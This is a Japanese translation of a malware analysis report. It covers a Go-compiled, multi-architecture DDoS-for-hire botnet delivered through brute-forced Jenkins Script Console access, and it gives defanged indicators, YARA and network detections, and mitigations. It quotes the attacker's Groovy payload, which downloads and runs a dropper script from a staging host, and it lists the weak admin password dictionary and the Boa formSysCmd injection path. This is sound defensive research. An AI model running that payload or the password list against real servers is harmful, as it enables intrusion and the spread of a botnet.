このページは翻訳版です。正式な本文は英語版です。 英語版を読む
malware · botnet · ddos · golang · iot · jenkins · honeypot · mirai
クロスプラットフォームな Go 製 DDoS 請負ボットネット
Kinryū Labs は、11個のバイナリ・13アーキテクチャからなるドロッパースイートとして配布され、数日にわたる Jenkins Script Console の悪用キャンペーンを通じて送り込まれた、Go でコンパイルされた DDoS ボットネットの Windows 版ビルド bot.exe を解析した。ステージングホストへの偵察では、稼働中で認証を要する DDoS 請負 API、Go 製の SSH コマンドチャネル、および同一ホスト上に置かれた Mirai 系列のファミリを確認した。これが商用の DDoS 請負オペレーションであると高い確度で評価する。
著者 Davis Zheng·
TLP:CLEAR. 公開が承認済み。Kinryū Labs のハニーポットセンサーネットワークにより捕捉。以下の指標は defang 済み。
エグゼクティブサマリ
- 13アーキテクチャ向けビルド、ユニークなバイナリは11個
- 5名前付きの DDoS 手法、加えて請負 API
- 3単一の /22 内で連携する送信元 IP
- 2同一ホスト上のボットネットファミリ
bot.exe は、マルチアーキテクチャのドロッパースイートとして配布される、Go でコンパイルされた DDoS ボットネットの Windows x86-64 版ビルドである。付属のシェルスクリプト bins.sh は13種のアーキテクチャ向けビルドを取得し、重複排除後は11個がユニークで、32ビットおよび64ビットの x86、4種の ARM プロファイル、ARM64、Android ARM64、ビッグエンディアンとリトルエンディアンの MIPS を、Windows バイナリと並んで網羅する。本スイートは、露出していた Jenkins サーバの悪用を通じてハニーポットネットワークに到達した。
本マルウェアは、名前の付いた5種のフラッド手法(HTTP、TLS ハンドシェイク、ICMP、直接 TLS、および VOULT と名付けられた帯域消費型の手法)、ブラウザの User-Agent 文字列とロケールヘッダをローテーションさせて正規トラフィックに見せかける HTTP フラッド、そして自己増殖のために RealTek SDK 機器上の Boa webserver を狙うコマンドインジェクションのペイロードを内蔵している。185.226.93[.]242 のステージングホストに対する偵察では、ポート3333で稼働する認証付きの DDoS 請負 API、コマンドチャネルとして機能するポート2222の Go 実装 SSH サービス、および Mirai/Gafgyt 系列の2つ目のボットネットファミリを配置した匿名 FTP サービスを確認した。
Kinryū Labs は、bot.exe が商用の請負サービスとして運用される、悪意ある自己増殖型のマルチアーキテクチャ DDoS ボットネットの一部であると高い確度で評価する。この評価を支える所見は3つある。バイナリ自体が持つ攻撃手法および悪用に関する文字列、ジョブパラメータを検証し認証を要求する、オペレータのステージングホスト上で稼働中の請負 API、そして本スイートを配布する連携した送信元アドレス群からの持続的なキャンペーンを記録したハニーポットのテレメトリである。
- bot.exe はクロスプラットフォームの Go 製 DDoS ボットネットである。5種類の異なるフラッド手法のログ文字列が標的と持続時間のパラメータを伴っており、ブラウザ偽装の仕組みと SOCKS5 サポートも併存する。いずれも難読化されていない文字列として存在し、稼働中の API によって裏付けられている。
- 本オペレーションは商用の DDoS 請負サービスとして運用されている。ステージングホストはポート3333で API を公開しており、ジョブパラメータ(
user、psw、host、method、time、port)を検証し、不正な認証情報を拒否する。 - ボットネットは IoT のコマンドインジェクションを通じて自己増殖する。バイナリは Boa の
formSysCmdに対するコマンドインジェクションのペイロード、ルータログインのブルートフォース経路、およびエクスポートされたloginDeviceとloginDeviceCaptchaの関数を備え、ハニーポットのログに記録されたものと同一のドロッパーのワンライナーを注入する。 - 3つの送信元 IP は単一のオペレータである。
185.226.92[.]0/22内の3アドレスが、連携したタイミングと共通の認証情報リストを用いて同一のペイロードを配布しており、配布元 IP とステージング IP は同一の SSH ホスト鍵を提示している。これは単一のホストか、クローンされたイメージであることを示す。
配布:持続的な Jenkins Script Console キャンペーン
本スイートは、インターネットに露出した Jenkins インスタンスの悪用によって配布された。ハニーポットのテレメトリは一貫した2段階の手法を記録している。CSRF トークンを取得する GET /crumbIssuer/api/json に続き、Groovy Script Console のペイロードを載せた POST /script である。ペイロードは試行を通じて同一で、ここでは defang している。
println new ProcessBuilder('sh','-c',
'cd /tmp; wget hxxp://185.226.93[.]242:1001/bins.sh;
curl -O hxxp://185.226.93[.]242:1001/bins.sh;
chmod 777 *; ./bins.sh'
).redirectErrorStream(true).start().text
リクエストは Authorization: Basic ヘッダを伴い、admin アカウント向けに脆弱な数字パスワードの短い辞書(admin:1123、admin:123451、admin:1231231、admin:1111111、admin:12345123)を順に試していた。標的を絞った認証ではなく、自動化された認証情報リストの特徴である。
キャンペーンは数日にわたり、波状に繰り返された。
- 第1波最初の探索。CSRF crumb の確認に続いて Groovy RCE。ステージング IP と、同一ブロック内の2つ目のアドレスから。
- 捕捉
bins.shと13種の全変種を、およそ14時間の間隔で2回捕捉した。いずれもバイト単位で同一だった。 - 後続の波3つの送信元 IP すべてから数分以内に並行して悪用が行われ、User-Agent はローテーションされていた。
悪用リクエストは現実的なブラウザの User-Agent を多数ローテーションさせていた一方、さらなる Jenkins の標的を探す偵察スイープ(/login の取得に続く /script リクエストの高速な連射)は既定の Go-http-client/1.1 を使っていた。偽装された User-Agent は悪用ペイロードに付随し、スキャナはボットネット本来の Go クライアントを使う。ステージング兼 C2 ホスト自体も悪用に加わっており、攻撃基盤とホスティング基盤は分離されていない。
マルウェア:単一の Go コードベース、11個のバイナリ
ボットを Go で書くことで、単一のコードベースをオペレータが望むあらゆるターゲットへクロスコンパイルできる。ドロッパーは製品ラインアップ全体を順に処理し、各ビルドを wget で取得し、フォールバックとして curl でも取得し、実行権限を付与して実行し、削除する。スイートには Windows の .exe が含まれており、Linux 用ドロッパーはそれにも chmod +x をかける。またスクリプトの自動生成的な構造は、ビルドとリスト化のパイプラインの存在を示している。重複排除後、13種のビルドは11個のユニークなバイナリに減る。x86 と i386 のビルドが一致し、汎用 ARM と ARMv7 のビルドも一致する。MIPS やレガシー ARM から Android にまで及ぶアーキテクチャの広がりは、ルータやカメラ、その他の組込み機器を狙ったボットネットであることを示す。Windows 版ビルドは同じコードをデスクトップとサーバへ持ち込む。
バイナリはパックされておらず(PE セクションのエントロピーは5.4から6.3の範囲)、シンボルも除去されていない(Go のビルド ID とランタイムシンボルが残っている)ため、その機能は平文の文字列として露出している。コンパイルタイムスタンプはゼロ化されているが、これは Go のビルドでは通常のことである。
バイナリのログ文字列には5種のフラッド手法が名前付きで現れ、いずれも標的と持続時間を伴って整形される。「HTTP (Optimized)」フラッド、TLS/TCP の「Handshake」枯渇フラッド、ICMP の「PING」フラッド、直接的な「TLS+」セッションフラッド、そして帯域消費型でおそらく UDP ベースの「VOULT」手法である。アプリケーション層とネットワーク層の両方の選択肢が備わっている。
HTTP フラッドは正規トラフィックとして通過するように作られている。Windows、macOS、iPad、Android 上の Chrome、Edge、Opera、Firefox、Safari にまたがる10種以上のブラウザ User-Agent 文字列、15種の Accept-Language ロケール、そして緩和サービスが検査する sec-fetch-* および sec-ch-ua-* のフィンガープリントヘッダをローテーションさせる。Referer は評判の高いサイトの小さな集合(google.com、reddit.com、facebook.com、bing.com、twitter.com、fbi.gov)から設定する。User-Agent の集合に含まれる1件は文字列 Hello World そのもので、開発時のプレースホルダである。正規のクライアントがこれを送ることはないため、きれいな検出シグネチャになる。
増殖は Boa webserver を標的とする。これは多くの RealTek SDK 系ルータやカメラに現在も搭載されている小型の組込み HTTP デーモンである。バイナリは Boa の formSysCmd ハンドラに対するコマンドインジェクションのペイロードと、ルータ管理インタフェースに対するログインのブルートフォース経路を備え、JSON の認証情報フィールドとエクスポートされた関数 loginDevice および loginDeviceCaptcha を持つ。注入されるコマンドはドロッパーのワンライナーであり、侵害された機器が次の機器への配布点となる。
ベンダリングされた Go モジュールはすべて標準の golang.org/x パッケージであり、サードパーティの C2 フレームワークはリンクされていない。chacha20poly1305、http2/hpack、dns/dnsmessage、http/httpproxy が含まれ、観測可能な機能と符合する。すなわち認証付き暗号化チャネル、HTTP/2、生の DNS、および SOCKS5 プロキシである(文字列 socks5、socks connect、socksUsernamePassword が存在する)。C2 の設定は実行時に hxxp://<C2>/config.dat から取得され、バイナリ内にハードコードされた唯一のアドレスはステージングホストである。
コマンド&コントロールとステージング基盤
ステージングホストに対する偵察で、以下のサービスを確認した。
| ポート | サービス | 用途 |
|---|---|---|
| 21/tcp | vsftpd 3.0.3、匿名ログイン有効 | マルウェアのステージング(後述の2つ目のファミリ) |
| 22/tcp | OpenSSH 9.2p1 (Debian) | オペレータのアクセス |
| 1001/tcp | Go net/http サーバ | 主ステージング:bins.sh と各変種を配信 |
| 2222/tcp | Go SSH (SSH-2.0-Go) | ボットのコマンドチャネル |
| 3333/tcp | Go net/http サーバ | DDoS 請負 API |
請負という評価を支える所見が2つある。配布元 IP とステージングホストは ED25519、RSA、ECDSA の SSH ホスト鍵が同一であり、両者が同一のマシン上にあるか、1つのテンプレートからクローンされたイメージであることを示す。またポート2222の Go SSH サービスは、ポート22のシステム OpenSSH とは異なる鍵を提示しており、フォワードではなく独立したアプリケーションであることを示す。ポート3333の API は、パラメータ(user、psw、host、method、time/duration、port)が欠けたリクエストを拒否し、テスト用の認証情報に対しては認証失敗を返す。それ以外のパスはすべて404を返す。これは商用 booter の、リクエストごとに認証を行う最小限のインタフェースであり、稼働中のインフラ上で動いている。
同一ホスト上の2つ目のファミリ
匿名 FTP サービスは別のボットネットファミリを配置しており、ここではファイル名にちなんで「boatnet」と呼ぶ。そのドロッパー(ohshit1.sh)は BusyBox の ftpget クライアントを使い、各バイナリを実行前に WTF へリネームし、Mirai/Gafgyt 系列の15種のアーキテクチャ(ARC、m68k、SH4、SPARC といった珍しい組込みターゲットを含む)向けビルドをバックグラウンドで起動する。バイナリは C でコンパイルされた ELF で、シンボルは除去され、パックされている(エントロピーは7.6から7.9で UPX のマジックはなく、独自パッカーの使用を示す)ため、静的なレビューではほとんど情報が残らない。boatnet の遺物は bot.exe スイートより古く、無関係なコードベースで動いており、1つのホストが2つの異なるボットネットファミリをステージングしていることになる。
ホスティング
攻撃者の IP はいずれも 185.226.92[.]0/22 に含まれ、RIPE NCC 経由でトルコ拠点の VPS プロバイダ(ネットワーク名 BIGCORE-US、AS205196 / AS57152)に登録されている。アビューズ連絡先は abuse@bigcore.net。ホスティングプロバイダは報告のために特定したものであり、オペレータの身元については何も主張しない。
侵害指標
攻撃者の基盤は defang している。サンプルのハッシュと検出用の文字列は、意図的に実値を記載している。
ネットワーク
| 指標 | 文脈 |
|---|---|
185.226.93[.]242 | ステージング兼 C2 ホスト。能動的なスキャナでもある |
185.226.92[.]110 | 主スキャナ/配布ノード |
185.226.92[.]173 | 副スキャナ |
185.226.92[.]0/22 | ホスティングの割当(BIGCORE、AS205196)。境界でのブロック対象として妥当 |
185.226.93[.]242:1001 | HTTP ステージング(bins.sh と各変種) |
185.226.93[.]242:2222 | Go SSH のコマンドチャネル |
185.226.93[.]242:3333 | DDoS 請負 API(/api、パラメータで制御) |
185.226.93[.]242:21 | 匿名 FTP、boatnet のステージング |
hxxp://<C2>/config.dat | 実行時の C2 設定取得パターン |
/boafrm/formSysCmd、/boafrm/formLogin | 外向きの増殖における Boa RCE およびログインブルートフォースの URI |
SSH ホスト鍵(ED25519) …INAjVN5fIlxTHxT4R3yqTS8… | 配布元 IP と C2 IP で共通。ピボットの指標 |
ファイル
| ファイル | SHA-256 |
|---|---|
bot.exe(Windows x64) | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 |
bins.sh(ドロッパー) | 15f92c41e5f8ee6b2f6b7cfd14d2fc61bd4163a45d79c20a4d7974cb0fe68cf6 |
boatnet.0eem0a9ali(i386) | 6fbd581a3a6f1152de4090f0d5387258a905c76fb58f0d58191eae5f3d30421b |
boatnet.0t25ax67hl(x86-64) | 920b114325d372c387616ff971947b42087dc018bb4812cdf2adae6005c1382d |
- bot.exe の MD5 / SHA-1 / imphash:
88efcb919000efb700a814fc23e31e3f/6817eae057adf831892995f514fca36c489fdd10/211e227000a1da3333aab2bad5282318 - Go ビルド ID:
euzQMg9dNAAGDYR0FLBy/NBlt-oXDyZN8MvU4a30l/8dJq21Cvc4y0nwb3h6ja/kYq23qQRIeCoh9BwgyGK
ドロッパースイート全体のハッシュ(13ビルド中11個がユニーク)
| ビルド | SHA-256 | サイズ(バイト) |
|---|---|---|
amd64 | 3261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b70 | 5,919,119 |
x86 / i386 | 575eba4fffff7419985e4eef8e010c6c0a7dae00b23db45de895547faf2cc398 | 5,787,832 |
arm / armv7l | 9e6da804ae9ca0a07348e92d99416bcf3fc650ccbdf4a9b4db34f6d546ddfb10 | 5,898,424 |
arm5 | 365e22a1c1a77e5d88727ab6f8050548aa2170d3c2b4c8adcdfc1eb89eaea582 | 5,898,424 |
arm6 | 34186fba4b5a9c640517020d43a1ba70bdf59f1163867917950e2f7459a0839f | 5,898,424 |
arm64 | ada33a0316d364d1d3be6d23ca2e590c16db7d845795619935e42e53f9293f6b | 5,579,151 |
android_arm64 | 7d7210719451068df7906798f37ec8fd86a0dfc3df10bfa939e3d436c72346cf | 6,169,144 |
mips | 9200aac4a356190252dc6131f6b60d59367c522537258838c017266d0e3b48f5 | 6,619,351 |
mipsle | 14d62a04e97f20f2d087dcf41fb44e5597cd3d6fbe4a597229d6b3c79c8ecde7 | 6,619,351 |
bot.exe | 4de4621f66780e1400bf3c55f146f84f6d77bbdd3a401451f3b7f16d674e3804 | 6,020,608 |
ホストおよび認証情報の遺物
- Jenkins の
adminに対するブルートフォース辞書:1123、123451、1231231、1111111、12345123。 ohshit1.sh(boatnet のドロッパー)と、実行前にWTFへリネームされるバイナリ。- 特徴的な User-Agent:
Hello World(ボットの HTTP フラッド)とGo-http-client/1.1(ボットの自己スキャン)。
挙動
- Jenkins の
GET /crumbIssuer/api/jsonに続く、bins.shを取得する Groovy のProcessBuilder('sh','-c', …)ペイロードを載せたPOST /script。 - あるホストの
/config.datへの外向きリクエストで、Connecting to CNC...のログ行が先行する。 sysCmdselect=5とwget … bins.shを本文に含む内向きのPOST /boafrm/formSysCmd。
検出
文字列は安定しており難読化されていないため、シグネチャの作成は容易である。以下の YARA ルールは検証済みの文字列から構築した候補であり、展開前に検証すること。
rule go_ddos_bot_multiarch_candidate
{
meta:
description = "Candidate: Go-compiled multi-arch DDoS botnet (bot.exe family)"
author = "Kinryu Labs honeypot CTI"
reference = "4de4621f...e3804" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$cnc = "Connecting to CNC..." ascii
$cfg = "/config.dat" ascii
$atk1 = "HTTP (Optimized) Attack started" ascii
$atk2 = "VOULT attack" ascii
$atk3 = "Handshake Attack started" ascii
$boa = "/boafrm/formSysCmd" ascii
$iot = "loginDeviceCaptcha" ascii
$drop = "bins.sh" ascii
condition:
($cnc and $cfg) or ($boa and $drop) or (2 of ($atk1, $atk2, $atk3) and $iot)
}
ネットワークでの検出:
- Jenkins:
ProcessBuilderを含み、生の IP へのwget/curlを伴うPOST /scriptの本文にアラートする。特にGET /crumbIssuer/api/jsonが先行する場合。 - IoT の増殖:
content:"/boafrm/formSysCmd"; content:"sysCmdselect=5";。 - 基盤:配布元および C2 アドレスを含む
185.226.92[.]0/22をブロックし、同レンジ内のポート1001、2222、3333への外向き接続にアラートする。
対策
- Jenkins をインターネットに露出させない。 認証とネットワーク分離の背後に置き、管理者以外に対しては Script Console を無効化し、到達可能なビルドサーバはホスト全体の侵害リスクとして扱う。これが今回の配布経路だった。
- Jenkins の認証情報を強固にし、認証にレート制限をかける。 本キャンペーンは
admin向けの脆弱な数字パスワードの短い辞書に依存していた。 - **RealTek/Boa ベースのルータおよび IoT 機器を分離または置き換え、**管理インタフェースへの外部アクセスをブロックする。これらはボットネットの増殖標的である。
- ホスティングの割当(
185.226.92[.]0/22)**を境界でブロックし、**Boa RCE の URI とconfig.datの取得パターンにアラートする。 - エグレスをフィルタする。 ポート1001で生の IP に接続してアーキテクチャ名の付いたファイルを取得するホスト、あるいは同レンジ内のポート2222や3333に接続するホストは異常であり、ホスト側の検知がない環境でも捕捉できる。
- 基盤を報告する。 DDoS 請負 API と FTP でステージングされたマルウェアは、ホスティングプロバイダのアビューズ連絡先(
abuse@bigcore.net)に報告できる。
MITRE ATT&CK マッピング
| 戦術 | 技術 |
|---|---|
| 初期アクセス | T1190 Exploit Public-Facing Application(Jenkins Script Console、増殖には Boa formSysCmd) |
| 認証情報アクセス | T1110.001 Brute Force: Password Guessing(Jenkins の admin)、T1110.004 Credential Stuffing(IoT のログイン) |
| 実行 | T1059 Command and Scripting Interpreter(Script Console 経由の Groovy、Unix シェルのドロッパー) |
| 探索 | T1046 Network Service Scanning(Jenkins/IoT の自己スキャン)、T1082 System Information Discovery、T1057 Process Discovery |
| 防御回避 | T1036 Masquerading(ブラウザ User-Agent のローテーション、boatnet の WTF へのリネーム) |
| コマンド&コントロール | T1071.001 Web Protocols(config.dat)、T1573 Encrypted Channel(ChaCha20-Poly1305、ポート2222の Go SSH)、T1571 Non-Standard Port(1001/2222/3333)、T1090.001 Internal Proxy: SOCKS |
| 横展開/配布 | T1105 Ingress Tool Transfer(マルチアーキテクチャのステージング) |
| 影響 | T1498.001 Direct Network Flood(PING、VOULT)、T1498.002 Reflection Amplification(ハンドシェイク枯渇) |
手法と注記
- 範囲:捕捉したバイナリの静的解析(実行はしていない)と、ステージングホストに対する能動的な外部偵察(サービスとバナーの列挙、匿名 FTP のリスト取得、ポート3333の API への未認証プロービング)。認証の回避は行っていない。
- YARA ルールは検証済みの文字列から構築した候補であり、展開前に検証すること。boatnet のバイナリはパックされており、得られた文字列はわずかだった。
- サンプル(bot.exe スイート、ドロッパー、boatnet の遺物)は、他の研究者および防御者に対して要請に応じて提供する。contact@kinryu.sh まで、身元と用途を簡潔に添えて連絡してほしい。